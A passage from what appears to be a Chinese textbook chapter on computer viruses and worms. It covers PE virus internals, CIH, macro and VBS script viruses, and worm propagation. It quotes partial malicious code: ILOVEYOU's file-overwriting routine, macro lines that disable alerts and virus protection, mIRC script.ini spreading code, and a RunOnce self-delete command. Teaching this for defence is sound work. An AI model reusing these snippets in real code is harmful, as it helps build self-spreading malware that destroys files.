内存映像文件的第一个字节对应到 DOS Stub的第一个字节 。
( 3) 再接着是作为 PE文件标志的 1024字节的 PE头 。
执行体在支持 PE文件的操作系统中执行时,PE装载器将从 DOS MZ头中找到 PE头的偏移量 。
( 4) PE文件的内容部分由一些称为段的块组成。每段是一块具有共同属性的数据。段数写在段表中。
( 5) PE文件的装载过程
1 PE文件被执行时,PE装载器检查 DOS MZ头中的 PE头骗移量 。 找到了,就跳转到 PE头 。
2 PE检查器检查 PE头的有效性 。 有效,就跳转到 PE头的尾部 。
3 读取段表中的信息,通过文件映射,将段映射到内存,
同时附上段表中指定的段的属性 。
4 PE文件映射到内存后,PE装载器处理 PE文件中的有关逻辑。
2,Win 32 PE病毒原理一个 Win 32 PE病毒需要具有如下一些功能 。
( 1) 重定位定位主要指程序中数据的内存存储位置 。 对于正常的程序来说,数据的内存存储位置在编译时就已经计算好了,程序装入内存时不需要对它们重定位 。
病毒可能依附在宿主程序的不同位置,当病毒随着宿主程序装载到内存后,病毒中数据的位置也会随之发生变化。由于指令是通过地址引用数据的,地址的不准确将导致病毒程序的不正确执行。为此,有必要对病毒代码中的数据进行重定位。
( 2) 获取 API函数地址在 Win 32环境中,系统功能调用不是通过中断实现,
而是通过调用 API函数实现 。 因此,获取 API函数的入口地址非常重要 。 但是,Win 32 PE病毒与普通的 Win 32
PE程序不同:普通的 Win 32 PE程序里有一个引入函数节,程序通过这个节可以找到代码段中所用的 API函数在动态链接库中的真实地址 。 调用 API函数是,可以通过该引入函数表找到相应 API函数的真正执行地址 。
但是,Win 32 PE病毒只有一个代码段,并不存在引入函数节,因此不能直接用真实地址调用 API函数。所以获取 API地址是病毒的一个重要技术。
1 首先获取 Kernel32的基地址当 系 统 打 开 一 个 可 执 行 文 件 时,会调用
Kernel32.dll 中的 CreateProcess 函数 。
CreateProcess函数在完成装载应用程序后,先要将一个返回地址压入堆栈顶,然后转向那个要装载的应用程序 。 这个应用程序结束后,就将这个地址数据弹出到 EIP中,继续执行 。 因此,要获得 API函数地址,首先要获得 Kernel32的基地址 。 例如利用程序的返回地址,在其附近搜索 Kernel32模块的基地址 。
2 由已知 API函数序列号或仅知的函数名,搜索 API
函数地址的过程
( 3) 搜索目标文件通常通过两个 API 函数 FindFiratFilehe 和
FindNextFile实现 。
( 4) 内存文件映射使用内存文件映射进行文件读写 。
( 5) 感染其他文件
( 6)返回到宿主程序。
3,Win 32 PE病毒实例 ——CIH病毒
CIH病毒以 Win 32 PE文件为攻击对象。它开创了直接攻击、破坏硬件的先例,发作时破坏 Flash BIOS芯片中的系统程序,导致主板损坏,造成部分厂家的主板开机后无反应;同时,使硬盘驱动器不停地转动,病毒以 2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘中的全部数据被破坏。
( 1) CIH病毒的基本特点
·CIH病毒很短,CIHv1.2只有 1003个字节 。
·可以绕过 Windows的应用程序界面,绕过 ActiveX、
C++和 C,使用汇编,利用虚拟设备驱动程序 VxD,直接进入 Windows内核 。
·采用碎洞攻击技术,将病毒化整为零,插入到宿主文件中,因而不改变宿主文件大小 。
·利用多数 BIOS芯片开放可重用性的特点,可以向计算机主板的 BIOS端口写如乱码 。
( 2) CIH病毒驻留程序的驻留过程一旦要执行带有 CIH病毒的 EXE文件,由于病毒修改了该文件程序的入口地址,使调入内存执行的是病毒的驻留程序 ( 长 184字节 ) 。 驻留的主要过程如下:
1.取得 IDT( 中断描述符 ) 的基地址 。
2,把 IDT的 INT 3的入口地址改为指向 CIH自己的 INT 3
入口,以获得最高级别 ( Ring0级 ) 的 Windows权限
( 可以在 Windows内核执行各种操作,如终止系统运行,直接对内存读写,截获各种中断,控制 I/O端口等 ) 。
3 执行 INT 3指令,进入自身的 INT 3入口程序 。 具体工作为:
a 检查调式寄存器 DR0的值,判断 CIH病毒是否已经驻留:
·不为 0,表示 CIH病毒已经驻留,要恢复原先的 INT 3入口,把控制权交给 Windows;
·为 0,表示尚未驻留,CIH病毒将尝试驻留 。
b 将当前 EBX寄存器的值赋给 DR0寄存器,生成驻留标志 。
c 调用 INT 20中断,请求系统分配两页 Windows内存,以便程序长期驻留内存 。
d 内存申请成功,将破碎的病毒程序收集起来,组合后放到申请到的内存空间中 。
e 调用 INT 3入口程序,调用 INT20,在 windows内核的文件处理函数中挂接钩子,以截取文件调用操作,以便病毒的传染部分能在第一时间截获要求开启的文件调用 。
f 将同时截获的核心文件输入 /输出服务程序的入口地址保存到 RD0寄存器中,以便 CIH病毒调用 。
g 驻留成功,恢复宿主文件正常入口,执行宿主程序:
·恢复原来的 IDT中断表中的 INT 3入口,退出 INT 3;
·根据病毒程序隐藏的原文件的正常入口地址,跳到原来文件的正常入口。
( 3) CIH病毒的感染过程
CIH病毒的传染是通过病毒主流内存过程中,调用 Windows内核底层的 IFSMgr_InstallFileSystemApiHook函数挂接钩子时,指针指示的程序段实现 。 这段程序长 586字节 。 大致过程如下:
1 文件截获:调用 INT 20的 VxDcallUniToBCSPath系统功能调用,
取回系统要开启的文件的文件名和路径 。
2 EXE文件判断:非 EXE文件,不感染,离开病毒程序,跳回
Windows内核的正常文件处理程序 。
3 PE格式判断:取出文件标识符进行分析,若 Signature=―00455000
( OOPE00) ‖且未感染,就对其感染;否则,只发作。
4 寄生计算,CIH病毒利用 PE格式文件的文件头和各个区都可能存在自由空间碎片,将病毒程序拆分成若干大小不等的块,见缝插针地插到宿主文件的不同区内 。
首先要技术计算有无可以存放病毒首块的空间 。 没有这样的空间就不感染 。 病毒首块包括:
·病毒块链表指针区,8× ( 区数 +1) 字节,存放每个病毒块的首地址 ( 每块 4字节 ) 及其长度 ( 每块 4字节 ) ;
·184字的病毒驻留程序 。
接着将整个病毒读入内存,按 PE文件的各区进行计算分配。
5 写入病毒:按照计算结果,将各块压栈,以逆序将各块写入到相应自由空间 。
(4)CIH病毒的发作
CIH v1.4在每年 4月 26日发作 。 病毒从 CMOS的 70,71端口取出系统当前日期进行判断:
mov ax,0708
ut 70,al
in al,71 ; 取当前系统月份
xchg al,ah
out 70,al
in al,71 ; 取当前系统 r日
xor ax,0426 ; 判断
… ; jz病毒发作程序
1.3.4 宏病毒及其关键技术
1,宏病毒及其发作宏是嵌入在字处理文档或其他类型文件中的一段用宏语言编写的可执行程序,用户使用宏可以完成一些重复性的工作 。 例如,用户可以通过宏定义一个击键序列,
然后就可以通过敲击功能键或特定的组合键来启动该宏,
以减少在键盘上的直接操作 。
据美国国家计算机安全协会统计,宏病毒大约占整个病毒的三分之一 。 宏病毒所以如此猖獗,主要原因有下列一些:
( 1) 宏病毒感染的是文档而不是代码的可执行部分宏病毒的存在和执行,依赖于系统是否具有强大的宏语言环境 。
Word从 6.0开始,Excel从 4.0开始,数据文件中就包含了宏语言功能 。 而计算机中具有大量这样的文档文件,并且人们使用极为普遍的电子邮件往往是以文档的形式进行传输 。 这就为宏病毒的传播提高了方便途径 。
( 2) 宏病毒与平台无关应用极为普遍的 Word和 Excel是宏病毒的主要载体,所有支持
Word和 Excel的硬件平台和操作系统都会感染宏病毒。
( 3)宏病毒中有一种自动执行宏,它不需要用户启动,
只要出现相应的执行事件,就可以自动运行。常见的自动执行宏有表 1.1所示的一些。
表 1.1 Windows的自动执行宏
Word Excel Office 97/2000
AutoOpen Auto_Open Document_Open
AutoClose Auto_Close Document_Close
AutoExcec
AutoExit Document_Newe
AutoNew
Auto_Activate
Auto_Deactivate
不仅 Word和 Excel,Access,PowerPoint,Visio,CoreDraw、
WordPro 也 具 有 强 大 的 宏 语 言 。 自 Word97和 Excel97 之后,
Microsoft 逐 渐 将 宏 语 言 统 一 到 VBA( Visual BASIC for
Application) 上 。
除了随文件操作自动执行的宏,还有一类宏会随着指定键或指定键序列的操作被自动触发,拿到系统控制权下面是一个在 Normal
模板中的 AutoNew宏 。 当用户新打开一个 Word时,就会弹出一个提示,新建文件自动执行宏示例,的窗口 。
Sub AutoNew()
MsgBox ―新建文件自动执行宏示例,,0,,宏病毒测试,
End Sub
2,宏病毒的隐藏措施
( 1) 关闭有关提示和容易引起怀疑的操作,如
On Error Resume Next?出错时不提示,继续执行下面语句
Application,DisplayAlerts = wdAlertsNone?不弹出警告窗口
Application,DisplayStatusBar = False?不显示状态栏,以免显示宏的运行状态
Application,EnableCancelKey = wdCancelDisabled?不可通过
ESC结束当前运行的宏
Application,ScreenUpdating = False?关闭屏幕刷新,以免看到病毒引起的速度变慢
Options,SaveNormalPrompt = False?若公共模块被修改,不显示提示窗口直接保存
Options,VirusProtection = False?关闭病毒保护:若运行前包含宏,不提示
( 2)屏蔽一些菜单功能(如,工具 | 宏,等),以免被用户手工发现。
3,宏病毒的基本传播过程
( 1) 将宏病毒依附与一个 Word文档;
( 2) 通过电子邮件或移动存储设备,把该文档输入到一个系统;
( 3) 一个被染毒的,doc文件被打开后,会通过 Auto类宏来激活病毒,接着感染诸如 normal.dot或 powerup.dot等全局模板文件,得到系统的,永久,控制权 。
( 4) 宏把自身拷贝到全局宏文件中;
( 5)下一次启动 Word时,将激活全局宏,并在该宏执行时会进行自我复制并破坏系统。
1.3.5 脚本病毒及其关键技术
1,脚本病毒的特点脚本是嵌入到数据文档中执行一个任务的一组指令 。 最典型的脚本是嵌入到网页中的脚本,它们可以实现网站的点击计数器,
格式处理器,实时时钟,鼠标效果,搜索引擎等功能 。
脚本由脚本语言描述 。 常用的脚本语言有,VBScript、
Jscript,JavaScript,PerScript等 。 并且,脚本不是由 CPU直接执行,而是有某个程序解释,如嵌入在 HTML文件 ( 网页 ) 中的脚本是由浏览器解释执行的 。
脚本病毒是一些嵌入在应用程序、数据文档和操作系统中的恶意脚本。脚本病毒一般嵌入在 CSC( CoreDraw),Web( HTML、
HTM,HTH,PHP),INF( information),REG( regisry) 等文件中,主要通过电子邮件和网页传播。
脚本病毒中最有代表性的是用 VBScript 编写的 VBS病毒 。 VBS
病毒具有如下一些特点:
·编写简单,生产容易;
·传播范围广,感染力强,破坏力大;
·欺骗性强、变种多。
2,脚本病毒的感染机制脚本病毒直接通过自我复制感染文件,病毒中的绝大部分代码可以直接附加在同类程序中间。例如,新欢乐时光病毒是将自己的代码附加在,htm的尾部,并在顶部加入一条调用病毒代码的语句;而爱虫病毒则直接生成一个文件的副本,将病毒代码嵌入其中,同时将原文件名作为病毒文件的文件名前缀,以 vbs作为后缀。
下面是爱虫病毒的文件感染部分的关键代码:
set fso = createobject(―scripting.filesystemobject‖)? 创建一个文件对象
set self = fso.opentextfile(wscript.sriptfullname,1) ‘ 读当前打开文件
( 病毒文件 )
vbscopy = self.readall‘ 读取全部病毒代码到字符串变量 vbscopy
┇
set ap = fso.opentextfile(目标文件,path,2,true) ‘ 写打开目标文件,为写病毒代码做准备
ap.write vbscopy? 用病毒代码覆盖目标文件中的代码
ap.close
set cop = fso.getfile(目标文件,path)? 得到目标文件路径
cop.copy(目标文件,path & ―,vbs)? 创建以,vbs为后缀的病毒文件目标文件,delete(true)? 删除目标文件
3,脚本病毒的文件搜索寻找满足条件的感染对象,是病毒的一个重要机能 。 下面是一个设计的非常巧妙的 VBS病毒的搜索函数 。 它采用递归算法遍历整个分区的目录和文件 。
sub scan(folder_)? 搜索函数 scan定义
on error resume next? 跳过错误,防止弹出错误窗口
set folder_ = fso.getfoder(folder_)
set files = folder_.files? 取当前目录的所有文件集合
for each file in files? 对文件集合中的每个文件进行测试
ext = fso.GetExtensionName(file)? 获取文件名后缀
ext = lcase(ext)? 小写转换后缀名
if ext = ―mp3‖ then? 以,mp3‖后缀作为条件
Wscript.echo(file)? 用来模拟病毒感染或破坏模块
end if
next
set subfolders = folder-.subfolders
for each subfolder in subfolders? 递归调用 scan(),搜索其他目录
scan(subfolder)
next
end sub
4,脚本病毒的传播手段
( 1) 通过电子邮件传播通过电子邮件传播的关键是获得合法的电子邮件地址。下面是一个 VBS病毒的传播算法,它是直接取
Outlook地址簿中的邮件地址。
set MAPI对象 = Outlook对象,GetNameSpace(―MAPI‖)// 获取 MAPI的名字空间
set 地址对象 =MAPI对象,地址表 ( i) // 获取地址表的个数
for 地址对象表中的每一个地址获取每个地址表的 E-Mail地址数
for 地址表中的每个 E-Mail地址获取一个邮件地址对象实例获取具体 E-Mail地址填入收信人地址写入邮件邮件标题写入邮件内容定义邮件附件发送邮件信件提交后删除写病毒标记,以免重复感染
next
next
设置 MAPI对象 = 空设置 Outlook = 空
( 2) 通过局域网共享传播在 VBS中有一个对象可以实现局域网邻居共享文件夹的搜索与文件操作 。 利用该对象可以实现病毒的传播 。 下面是一个简化的传播算法 。
创建一个网络对象创建一个网络打印机连接列表显示每台网络打印机连接情况创建一个网络共享连接列表寻找目标驱动器感染
( 3) 通过网页文件传播这里主要介绍通过 htm感染的机理 。 脚本病毒通过 htm网页传播依赖于 FSO( File System Object,文件系统对象 ) 和 WSH( Windows
Script Host,Windows脚本宿主 ) 对象 。
WSH可以理解为内嵌于 Windows操作系统中的脚本语言工作环境 。
它较多地考虑了,非交互性脚本,的需要,使脚本功能非常强大,
例如:
·实现网络驱动器
·检索并修改环境变量
·处理注册表项
·对文件系统进行操作
·管理员用其支持功能创建简单的登陆脚本
·编写脚本管理活动目录这些功能主要通过内置的 WSH对象实现 。 WSH共有 14个内置对象,它们分别具有不同的功能 。 脚本病毒通过 htm网页传播的关键是使 FSO和 WSH对象能够在网页内运行 。
通常,要先对 COM进行初始化,在获取相应的组件对象后,
病毒就可以正确地使用 FSO和 WSH两个对象 。
下面给出一段病毒代码 。 其中
{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} ( Windows Script Host shell
Object)
{0D43FE01-F093-11CF-8940-00A0C9054228} ( File System Object)
是注册表中 WSH和 FSO的两个主键。
Set AppleObject = document.applets(―KJ_guest‖)
AppleObject.setCLSID(―{ F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}‖)
AppleObject.createInstance()? 创建一个实例
Set WsShell = AppleObject()
AppleObject,setCLSID(―{0D43FE01-F093-11CF-8940-00A0C9054228}‖)
AppleObject.createInstance()? 创建一个实例
Set FSO = AppleObject()
( 4) 通过 IRC聊天通道传播这里仅以 MIRC( ) 为例来说明病毒通过 IRC传播的过程 。 由于控制 IRC会话的命令存放在 Script.ini中 。 并且 Script.ini文件中的命令是可以自动执行的 。 因此,IRC病毒传播的关键是在
Script.ini文件中写一些代码,利用某些命令给通道中的其他用户传送病毒文件,使得用户使用被感染的通道时,都会收到一份病毒文件 。 下面是一般通过 IRC传播病毒代码 。
Dim mirc set fso = CreateObject(?Seripting.FileSystemObject‖)
set mirc = fso.CreateTextFile(―C:\mirc\script.ini‖)
创建文件
script.ini
fso.CopyFile Wscript.ScriptFullName,
―C:\mirc\attachmemnt.vbs‖,True
将病毒文件备份到 attachment.vbs
mirc.WriteLine ―[script]‖
mirc.WriteLine ―n0 = on 1:join:*.*:{if ($nick != $me )
{halt}/dcc send $nick C:\mirc\attachment.vbs}‖
利用命令 /ddc send $ nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
5,脚本病毒获得控制权的方法获取控制权的能力是病毒的关键能力,下面介绍脚本病毒获取控制权的几种典型方法 。
( 1) 修改注册表
Windows启动时会自动加载一些程序 。 这些程序是下面的项下的键值所指向的程序:
HKEY_LOCAL-
MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run
利用这一特点,病毒也可以在此项下加一个键值,让这个键值指向病毒程序,这样就能保证在每次计算机启动时病毒能取得控制权 。
( 2) 修改执行方式例如新欢乐时光将 dll的执行方式修改为 wscript.exe,也可以将 exe文件的映射指向病毒代码。
( 3) 引诱用户执行主要办法是让用户产生错觉 。 如病毒发送附件时,采用双后缀文件名,使用户产生错觉 。 例如,使用文件名 xxxx.jpg.vbs。 由于默认情况下不显示后缀,所以这个双后缀文件被显示为 xxxx.jpg,用户将其误认为是图片文件而去点击,执行了病毒程序 。
( 4) desktop.ini和 folder.htt配合使用
desktop.ini和 folder.htt可用以配置活动桌面,并用以自定义文件夹。
如果用户的目录中含有着两个文件,并且病毒感染了 folder.htt,则当用户进入该目录时,就会触发 folder.htt中的病毒代码。
6,VBS脚本病毒的弱点
( 1 ) VBS 脚 本 病 毒 的 运 行,往 往 要 用 到 一 个 对 象,
FileSystemObject。
( 2) VBS脚本病毒运行时需要其关联程序 wscript.exe的支持 。
( 3) VBS代码要通过 Windows Acript Host解释执行 。
( 4) 通过网页传播的病毒需要 ActiveX的支持 。
( 5) 通过邮件传播的病毒需要 OutlookExpress的自动发送邮件功能的支持 。
这些弱点可以被用于病毒的防治。例如,禁用对象
FileSystemObject 用 regsvr32 scrrun.dll/u命令,或者直接查找
scrrun.dll文件加以删除或改名)可以有防范作用。
1.3.6 计算机病毒技巧俗话说,道高一尺,魔高一丈 。 计算机病毒也随着反病毒技术的发展不断演变,升级 。 下面是计算机病毒在技术方面的一些技巧 。
1,增强隐秘性为了使病毒能长期潜伏,病毒就要增强自己的隐秘性 。 下面是几种增强隐秘性的技术 。
( 1)避开修改中断变量:早期的病毒程序都要直接修改中断服务子程序,以控制常用中断功能。因此,许多反病毒软件都对系统的中断向量表进行监视,一旦发现任何对系统内存中断向量表进行修改的操作,就会怀疑有病毒在活动。针对这一反病毒技术,病毒程序就要避免修改中断向量表时留下痕迹。
例如,有的病毒程序,改修改中断向量的控制方式为通过修改中断服务子程序,来获得系统控制权 。 一种方法是前面介绍过的通过修改 COM文件首指针的方法修改中断服务程序,基本步骤为:
·从中断向量表中动态获得中断服务子程序入口;
·将该入口开始的 3~5字节的指令内容保存到病毒体工作区;
·修改原入口处的指令为转移指令,转向病毒的中断服务子程序入口;
·执行完病毒子程序后,再转向正常的服务子程序入口。
( 2) 谋求在内存的合法性:早期的病毒程序一般驻留内存高端 。
因此,内存侦察是反病毒软件的首选技术 。 为躲避侦察,病毒程序可以采用下面的方法:
·通过正常的内存申请进行合法驻留 。 如扬基病毒,DONG病毒等;
·改驻留高端为驻留低端,如 DIRII病毒 。
( 3) 维持宿主程序的外特性:保持宿主程序的外特性不变,例如,
CIH病毒采用碎洞攻击技术不增加宿主文件的长度 。
( 4)不使用明显的感染标志:早先,病毒只简单地根据某个标志来判断病毒是否已经存在,现在则要经过一系列相关运算来进行判断。
2,采用抗分析技术为了增加病毒分析的困难,病毒还采用了一些抗分析技术,例如:
( 1) 降低代码的可读性;
( 2) 采用加密技术,使分析者无法在病毒不执行的情形下阅读病毒程序 。 主要的加密技术有:
·对程序段进行动态加密:采用边执行边解密的方法,使后面的机器码是与前面的机器码运算后还原形成,分析者即使用 DEBUG
等调试工具将病毒程序从头到尾打印出来,也是一堆乱码 。
·对宿主程序段进行加密 。 例如 Chairman病毒将 COM型宿主程序的前 5个字节进行加密,转存到病毒体 524H处开始的地方;而对
EXE型宿主程序的文件头偏移 0EH~08H的内容存放在病毒体偏移
524H处开始的地方 。
·密钥不固定。
( 3) 采用反跟踪技术:为清除病毒,常常可以借助
DEBUG等调试工具,对发现的病毒进行跟踪剖析 。 为了对付这种跟踪,病毒程序可以采用破坏中断向量的方法,
如嵌入一些破坏单步中断 INT 1H和中断点设置中断 INT
3H的中断向量的程序段,使动态跟踪难以进行 。
( 4) 自加密:例如新欢乐时光病毒可以随机地选取密钥,对自己的部分代码进行加密变换,并使每次感染的病毒代码不同 。 这给用特征法查毒带来一些困难 。
( 5)直接关闭反病毒软件:例如 VBS病毒可以查看正在运行的进程,发现反病毒软件,就将之关闭。
3,采用变形病毒技术病毒在发展,网络在发展,网络又促进了病毒的发展,复杂的病毒又朝着变形病毒发展 。 采用变形技术的病毒是一种进化病毒
( Evolutionary Virus) 也称计算机病毒变体 ( Computer Virus
Variance) 。 它们是在计算机系统运行过程中,可以将自身有修改地复制到其他程序体内的计算机病毒,形成来源于同一病毒而表象形式不同的计算机病毒系列 。
按照变形病毒自身代码和结构在空间上,时间上具有的不同变化,可以将变形病毒简要划分为 4类 。
第一类变形病毒具备普通病毒所具有的基本特性 。 然而,病毒传播到一个目标后,自身代码与前一目标中的病毒代码几乎没有 3
个连续的字节相同 。 但这些代码的相对空间排列位置并不变动,所以也称一维变形病毒 。 有些一维变形病毒感染系统后,遇到检测时能够进行自我加密或脱密,或自我消失 。 有的列目录时能消失增加的字节数,或加载跟踪时,病毒能破坏跟踪或者逃之夭夭 。
第二类变形病毒除了具备一维变形病毒的特性外,那些变化的代码相互间的排列距离 ( 相对空间位置 ) 也是变化的,所以也称二维变形病毒 。 某些二维变形病毒 ( 如 MADE-SP病毒等 ) 能用某种不动声色特殊的方式或混杂于正常的系统命令中去修改系统关键内核,
并与之融为一体,或干脆另创建一些新的中断调用功能 。 有的感染文件的字节数不定,或与文件融为一体 。
第三类变形病毒具备二维变形病毒的特性,并且在分裂后能分别潜藏在几处,当病毒引擎被激发后再自我恢复成一个完整的病毒。
病毒在附着体上的空间位置是变化的,即潜藏的位置不定。比如:
可能一部分藏在第一台机器硬盘的主引导区,另外几部分也可能潜藏在几个文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区、也可能另开垦一块区域潜藏等等。而在下一台被感染的机器内,病毒又改变了其潜藏位置,通常也称为三维变形病毒。
第四类变形病毒具备三维变形病毒的特性,并且这些特性随时间动态变化 。 比如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子 。 往往这类病毒本身就是具有传播性质的
,病毒生产机,,它们会在计算机内或通过网络传播时,将自己重新组合代码生成与前一个有些代码不同的变种新病毒,通常也称为:
四维变形病毒 。
四维变形病毒大部分具备网络自动传播功能,在网络的不同角落里到处隐藏。
1.4 蠕虫返回
1.4.1 蠕虫的定义与特征
1982年,Xerox PARC的 John F.Shoch等人为了进行分布式计算的模型实验,编写了称为蠕虫的程序 。 但是他们没有想到,这种,可以自我复制,,并可以,从一台计算机移动到另一台计算机,的程序,后来不断给计算机界带来灾难 。 1988年被 Robert Morris释放的 Morris
蠕虫,在 Internet上爆发,在几个小时之内迅速感染了所能找到的,存在漏洞的计算机 。
人们通常也将蠕虫称为蠕虫病毒。但是严格地讲,
它们并不是病毒。
下面讨论蠕虫与病毒之间的异同 。
1,存在的独立性病毒具有寄生性,寄生在宿主文件中;而蠕虫是独立存在的程序个体 。
2,传染的反复性病毒与蠕虫都具有传染性,它们都可以自我复制 。 但是,
病毒与蠕虫的传染机制有三点不同:
·病毒传染是一个将病毒代码嵌入到宿主程序的过程,而蠕虫的传染是自身的拷贝;
·病毒的传染目标针对本地程序 ( 文件 ),而蠕虫是针对网络上的其他计算机;
·病毒是在宿主程序运行时被触发进行传染,而蠕虫是通过系统漏洞进行传染 。
此外,由于蠕虫是一种独立程序,所以它们也可以作为病毒的寄生体,携带病毒,并在发作时释放病毒,
进行双重感染 。
病毒防治的关键是将病毒代码从宿主文件中摘除,
蠕虫防治的关键是为系统打补丁( patch),而不是简单地摘除。只要漏洞没有完全修补,就会重复感染。
3,攻击的主动性计算机使用者病毒的传染的触发者,而蠕虫的传染与操作者是否进行操作无关,它搜索到计算机的漏洞后即可主动攻击进行传染 。
4,破坏的严重性病毒虽然对系统性能有影响,但破坏的主要是文件系统 。
而蠕虫主要是利用系统及网络漏洞影响系统和网络性能,
降低系统性能 。 例如它们的快速复制以及在传播过程中的大面积漏洞搜索,会造成巨量的数据流量,导致网络拥塞甚至瘫痪;对一般系统来说,多个副本形成大量进程,则会大量耗费系统资源,导致系统性能下降,对网络服务器尤为明显 。 表 1.2为几种主要蠕虫所造成的损失 。
5,行踪的隐蔽性由于蠕虫传播过程的主动性,不需要像病毒那样需要计算机使用者的操作触发,因而基本不可察觉 。
从上述讨论可以看出,蠕虫虽然与病毒有些不同,但也有许多共同之处。如果说,凡是能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。那么,从这个意义上,
蠕虫也应当是一种病毒。它以计算机为载体,以网络为攻击对象,是通过网络传播的恶性病毒。
1.4.2 蠕虫的基本原理关于蠕虫,现在还没有形成系统的理论。下面从蠕虫的功能和程序组成两个方面讨论蠕虫的工作原理。
1,蠕虫程序的功能结构一个蠕虫程序的基本功能包括传播模块,隐藏模块和目的模块三部分 。
( 1) 传播模块传播模块由扫描模块,攻击模块和复制模块组成 。
·扫描模块负责探测存在漏洞的主机 。 当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就会得到一个可传播的对象 。
·攻击模块按照漏洞攻击步骤自动攻击已经找到的攻击对象,获得一个 shell。 获得一个 shell,就拥有了对整个系统的控制权 。 对
Win 2x来说,就是 cmd.exe。
·复制模块通过原主机和新主机的交互,将蠕虫程序复制到新主机并启动,实际上是一个文件传输过程 。
( 2) 隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现 。
( 3)目的模块:实现对计算机的控制、监视或破坏等功能。
2,蠕虫程序的传播过程蠕虫程序的一般传播过程为:
( 1) 扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机 。 当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象 。
( 2) 攻击:攻击模块按漏洞攻击步骤自动攻击步骤 1中找到的对象,
取得该主机的权限 ( 一般为管理员权限 ),获得一个 shell。
( 3) 复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动 。
可以看到,传播模块实现的实际上是自动入侵的功能。所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
3,蠕虫的扫描机制如前所述,蠕虫在扫描漏洞时,要放松大量的数据包,从而会引起网络拥塞,占用网络通信带宽 。 但是,这并不是蠕虫本身所希望的 。 实际上,蠕虫更希望隐蔽地传播 。 现在流行的蠕虫采用的传播原则是:尽快地传播更多的主机 。 根据这一原则,扫描模块采取的扫描策略是:随机选取一段 IP地址,然后对这一地址段上的主机进行扫描 。
差的扫描程序并不知道一段地址是否已经被扫描过,只是随机地扫描 Internet,很有可能重复扫描一个地址段 。 于是,随着蠕虫传播的越广,网上的扫描包越多,即使探测包很小,但积少成多,
就会引起严重的网络拥塞 。
扫描策略改进的原则是,尽量减少重复的扫描,使扫描发送的数据包尽量少,并保证扫描覆盖尽量大的范围 。 按照这一原则,可以有如下一些策略:
( 1) 在网段的选择上,可以主要对当前主机所在网段进行扫描,
对外网段随机选择几个小的 IP地址段进行扫描 。
( 2) 对扫描次数进行限制 。
( 3) 将扫描分布在不同的时间段进行,不集中在某一时间内 。
( 4) 针对不同的漏洞设计不同的探测包,提高扫描效率 。 例如:
·对远程缓冲区溢出漏洞,通过发出溢出代码进行探测;
·对 Web CGI漏洞,发出一个特殊的 HTTP请求探测。
4,蠕虫的隐藏手法蠕虫为了不被发现,就要采用一些反检查技术,尽量隐藏自己 。 但是,隐藏技术有相当大的难度,需要大量了解反病毒软件和系统管理员的查毒手法 。 下面介绍蠕虫的几种隐藏手法 。
( 1) 修改蠕虫在系统中的进程号和进程名称,掩盖蠕虫启动的时间记录 。
此方法在 Windows95/98下可以使用 RegisterServiceProcess API函数使得进程不可见 。 但是,在 Windows NT/2000下,由于没有这个函数,方法就要困难一些了:只能在 psapi.dll的 EnumProcess API
上设置,钩子,,建立一个虚的进程查看函数 。
( 2) 将蠕虫拷贝到一个目录下,并更换文件名为已经运行的服务名称,使任务管理器不能终止蠕虫运行 。
这时要参考 ADV API32.DLL中的 OpnSCManagerA和
CreateServiceA.API函数。
( 3) 删除自己:
·在 Windows95系统中,可以采用 DeleteFile API函数 。
·在 Windows 98/NT/2000中,只能在系统下次启动时删除自己 。 比较好的方法是:在注册表中写一条:
” HKLM\SoftWare\MOROSOFT\WNDOWS\CurrentVetsion\RUN
ONCE%COMSPEC%/C DEL
<PATH_TO_WORM\WORM_FILE_NAME.EXE
然后重新启动操作系统。
1.4.3 蠕虫举例
1,I_WORM.Blebla.B网络蠕虫该病毒是通过电子邮件的附件来发送的,文件的名称是:
xromeo.exe和 xjuliet.chm,该蠕虫程序的名称由此而来 。
当用户在使用 OE阅读信件时,这两个附件自动被保存,运行 。
当运行了该附件后,该蠕虫程序将自身发送给 Outlook地址簿里的每一个人,并将信息发送给 alt.comp.virus 新闻组 。 该蠕虫程序是以一个 E-mail附件的形式发送的,信件的主体是以 HTML语言写成的,并且含有两个附件,xromeo.exe及 xjuliet.chm,收件人本身看不见什么邮件的内容 。
该蠕虫程序的危害性还表现在它还能修改注册表一些项目,使得一些文件的执行,必须依赖该蠕虫程序生成的在 Windows目录下的 SYSRNJ.EXE文件,由此可见对于该病毒程序的清除不能简单地将蠕虫程序删除掉,而必须先将注册表中的有关该蠕虫的设置删除后,
才能删除这些蠕虫程序。
2,I_WORM/EMANUEL网络蠕虫该病毒通过 Microsoft的 Outlook Express来自动传播给受感染计算机的地址簿里的所有人,给每人发送一封带有该附件的邮件 。
该网络蠕虫长度 16896~ 22000字节,有多个变种 。
在用户执行该附件后,该网络蠕虫程序在系统状态区域的时钟旁边放置一个,花,一样的图标,如果用户点击该,花,图标,就会出现一个消息框,大意是不要按此按钮 。 如果按了该按钮的话,
会出现一个以 Emmanuel为标题的信息框,当用户关闭该信息框时又会出现一些别的,诸如上帝保佑你的提示信息 。
该网络蠕虫程序与其他常见的网络蠕虫程序一样,是通过网络上的电子邮件系统 Outlook来传播的,同样是修改 Windows系统下的主管电子邮件收发的 wsock32.dll文件 。 它与别的网络蠕虫程序的不同之处在于它不断可以通过网络自动发送网络蠕虫程序本身,而且发送的文件的名称是变化的 。
该病毒是世界上第一个可自我将病毒体分解成多个大小可变化的程序块(插件),分别潜藏计算机内的不同位置,以便躲避查毒软件。该病毒可将这些碎块聚合成一个完整的病毒,再进行传播和破坏。
